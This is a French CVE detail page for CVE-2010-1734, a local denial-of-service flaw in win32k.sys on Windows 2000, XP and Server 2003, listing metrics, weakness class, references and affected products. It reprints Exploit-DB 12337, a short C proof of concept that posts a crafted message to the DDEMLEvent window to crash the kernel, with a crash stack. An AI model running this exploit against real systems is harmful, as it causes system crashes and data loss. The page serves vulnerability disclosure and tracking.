CVE-2010-1734 : Détail

CVE-2010-1734

A03-Injection
0.04%V3
Local
2010-05-05
16h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The SfnINSTRING function in win32k.sys in the kernel in Microsoft Windows 2000, XP, and Server 2003 allows local users to cause a denial of service (system crash) via a 0x18d value in the second argument (aka the Msg argument) of a PostMessage function call for the DDEMLEvent window.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 12337

Date de publication : 2010-04-21 22h00 +00:00
Auteur : MJ0011
EDB Vérifié : No

/* Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability Effect : Microsoft Windows 2000/XP/2003 full patch Author:MJ0011 Published: 2010-04-22 Vulnerability Details: Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty, direct that the lParam is a memory pointer, and pull data directly from the address despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD */ //Exploit code: # Include "stdafx.h" # Include "windows.h" int main (int argc, char * argv []) ( printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$126.com\nPressEnter"); getchar(); HWND hwnd = FindWindow ("DDEMLEvent", NULL); if (hwnd == 0) ( printf ("cannot find DDEMLEvent Window! \ n"); return 0; ) PostMessage (hwnd, 0x18d, 0x0, 0x80000000); return 0; ) /* Common crash stack: kd> kc win32k! SfnINSTRING win32k! xxxDefWindowProc win32k! xxxEventWndProc win32k! xxxDispatchMessage win32k! NtUserDispatchMessage .... Windows 7/Vista no such problem Thanks: Thanks to my colleagues LYL to help me discovered this vulnerability th_decoder 2010-04-22 */

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version -

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version sp3

Microsoft>>Windows_xp >> Version sp3

Références

http://www.securityfocus.com/bid/39631
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/39456
Tags : third-party-advisory, x_refsource_SECUNIA